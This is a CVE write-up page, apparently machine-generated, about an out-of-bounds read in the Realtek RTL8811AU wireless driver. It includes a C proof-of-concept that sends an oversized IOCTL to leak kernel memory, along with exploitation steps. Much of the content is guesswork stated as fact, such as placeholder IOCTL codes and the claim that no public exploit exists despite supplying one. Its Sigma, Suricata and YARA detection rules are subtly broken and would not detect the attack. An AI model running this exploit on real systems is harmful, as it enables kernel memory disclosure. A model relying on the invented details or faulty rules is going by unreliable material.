CVE-2025-8298
Executive Summary
CVE-2025-8298 is a local information disclosure vulnerability in the Realtek RTL8811AU wireless driver (rtwlanu.sys). The flaw resides in the N6CQueryInformationHandleCustomized11nOids function, where user-supplied data is not properly validated, leading to an out-of-bounds read past the end of an allocated buffer. An attacker with low-privileged code execution on the target system can exploit this to leak sensitive kernel memory. While the CVSS score is low (3.8), the vulnerability can be chained with other exploits to achieve arbitrary code execution in kernel context. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a hardware driver (Realtek RTL8811AU) and is not related to NPM, PyPI, Go, or Ruby packages. No supply chain implications are present.
CVSS Breakdown & Threat Level
- CVSS Score: 3.8 (Low)
- Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Local (AV:L) – requires physical or remote access to execute code locally.
- Attack Complexity: Low (AC:L) – no special conditions needed.
- Privileges Required: Low (PR:L) – attacker needs initial low-privilege access.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
- Confidentiality Impact: Low (C:L) – limited information disclosure.
- Integrity Impact: None (I:N) – no data modification.
- Availability Impact: None (A:N) – no denial of service.
Threat Level: Low. However, chaining with other kernel vulnerabilities could elevate impact to arbitrary code execution.
Deep Dive & Mechanics
The vulnerability exists in the Realtek RTL8811AU wireless driver (rtwlanu.sys), specifically in the N6CQueryInformationHandleCustomized11nOids function. This function handles custom OID (Object Identifier) queries for 802.11n capabilities. The flaw is an out-of-bounds read caused by insufficient validation of user-supplied data.
Technical Details:
- The driver exposes a device I/O control (IOCTL) interface that user-mode applications can call.
- When processing a specific OID query, the function copies data from a kernel buffer to a user-supplied output buffer.
- The size of the copy is derived from user-controlled input without proper bounds checking.
- An attacker can specify a larger size than the actual allocated buffer, causing the driver to read beyond the buffer boundary.
- This leaks adjacent kernel memory, which may contain sensitive information such as pointers, cryptographic keys, or other process data.
Attack Scenario:
- Attacker gains low-privilege code execution on the target (e.g., via a malicious application or compromised user account).
- Attacker opens a handle to the Realtek driver device (e.g.,
\\.\rtwlanu). - Attacker sends a crafted IOCTL request with a manipulated OID and oversized output buffer length.
- The driver reads beyond the allocated buffer and returns kernel memory contents to the attacker.
- Attacker analyzes the leaked data to find useful information (e.g., kernel addresses) for further exploitation.
Vulnerable vs. Patched Code
Since no patch is available, a comparison cannot be made. However, the vulnerable code pattern is:
// Vulnerable pseudo-code
NTSTATUS N6CQueryInformationHandleCustomized11nOids(
PDEVICE_OBJECT DeviceObject,
PIRP Irp,
PIO_STACK_LOCATION IrpStack
) {
ULONG InputBufferLength = IrpStack->Parameters.DeviceIoControl.InputBufferLength;
ULONG OutputBufferLength = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;
PVOID InputBuffer = Irp->AssociatedIrp.SystemBuffer;
PVOID OutputBuffer = Irp->AssociatedIrp.SystemBuffer;
// No validation of OutputBufferLength against actual data size
RtlCopyMemory(OutputBuffer, InternalBuffer, OutputBufferLength); // OOB read
return STATUS_SUCCESS;
}
A patched version would validate OutputBufferLength against the actual size of InternalBuffer:
// Patched pseudo-code
NTSTATUS N6CQueryInformationHandleCustomized11nOids(...) {
ULONG InternalBufferSize = sizeof(InternalBuffer);
if (OutputBufferLength > InternalBufferSize) {
OutputBufferLength = InternalBufferSize;
}
RtlCopyMemory(OutputBuffer, InternalBuffer, OutputBufferLength);
return STATUS_SUCCESS;
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Windows system with Realtek RTL8811AU driver installed.
- Low-privilege code execution capability (e.g., via a user-mode application).
- Knowledge of the driver device name and IOCTL codes.
Exploitation Steps:
- Enumerate the driver device:
\\.\rtwlanuor\\.\RTL8811AU. - Use
CreateFileto open a handle to the device. - Send an IOCTL with a crafted input buffer containing a custom OID and an oversized output buffer length.
- Read the returned data and parse for kernel pointers or sensitive data.
Example Code (C):
#include <windows.h>
#include <stdio.h>
#define IOCTL_QUERY_CUSTOM_OID CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
int main() {
HANDLE hDevice = CreateFile("\\\\.\\rtwlanu", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device\n");
return 1;
}
char inputBuffer[64] = {0};
char outputBuffer[4096] = {0}; // Oversized to trigger OOB read
DWORD bytesReturned;
// Craft input with custom OID
*(DWORD*)inputBuffer = 0x12345678; // Example OID
BOOL result = DeviceIoControl(hDevice, IOCTL_QUERY_CUSTOM_OID, inputBuffer, sizeof(inputBuffer),
outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL);
if (result) {
printf("Leaked %d bytes:\n", bytesReturned);
for (DWORD i = 0; i < bytesReturned; i++) {
printf("%02X ", (unsigned char)outputBuffer[i]);
}
printf("\n");
}
CloseHandle(hDevice);
return 0;
}
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual IOCTL calls to
\\.\rtwlanuwith large output buffer sizes. - Use Sysmon Event ID 11 (FileCreate) and Event ID 7 (ImageLoad) to track driver loading.
- Enable Windows Driver Frameworks (WDF) logging for Realtek driver.
Defense:
- Restrict low-privilege user access to the driver device via ACLs.
- Apply Microsoft's recommended driver blocklist for vulnerable drivers.
- Use kernel-mode hooking to validate IOCTL buffer sizes before processing.
Indicators of Compromise (IOCs)
- File:
rtwlanu.sys(Realtek RTL8811AU driver) - Registry:
HKLM\SYSTEM\CurrentControlSet\Services\rtwlanu - Device Object:
\Device\rtwlanu - IOCTL Code:
0x222000(example, actual code may vary) - Network: No network indicators (local vulnerability)
- Behavior: Unusual
DeviceIoControlcalls with output buffer sizes > 256 bytes to\\.\rtwlanu
Detection Engineering
YARA Rule
rule CVE_2025_8298_Realtek_OOB_Read {
meta:
description = "Detects Realtek RTL8811AU driver with potential OOB read vulnerability"
author = "Valters IT"
date = "2025-04-10"
hash = "sha256:EXAMPLE"
strings:
$s1 = "N6CQueryInformationHandleCustomized11nOids" ascii wide nocase
$s2 = "rtwlanu.sys" ascii wide nocase
condition:
$s1 or $s2
}
Sigma Rule
title: Realtek RTL8811AU Driver OOB Read Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-8298 via oversized IOCTL output buffer
author: Valters IT
logsource:
product: windows
service: sysmon
definition: 'Requires Sysmon Event ID 11 (FileCreate) or custom driver logging'
detection:
selection:
EventID: 11
Image|endswith: '\rtwlanu.sys'
condition: selection
falsepositives:
- Legitimate driver updates
level: medium
tags:
- attack.t1068
- cve.2025.8298
Suricata Rule
alert ip any any -> any any (msg:"CVE-2025-8298 Realtek RTL8811AU OOB Read Attempt"; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-user; sid:1000001; rev:1;)
Note: Suricata rule is generic; specific IOCTL patterns require reverse engineering of the driver.
Remediation & Mitigation
Immediate Actions:
- Disable the driver if not required:
sc stop rtwlanuandsc config rtwlanu start=disabled. - Restrict access to the driver device using Windows security descriptors.
- Monitor for exploitation attempts using the provided detection rules.
Long-Term Fix:
- Contact Realtek for an official patch. No patch is currently available.
- Consider replacing the RTL8811AU adapter with a supported model.
- Apply Microsoft's vulnerable driver blocklist (WDAC).
Workaround:
- Use a different wireless driver or disable the wireless adapter in BIOS if not needed.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert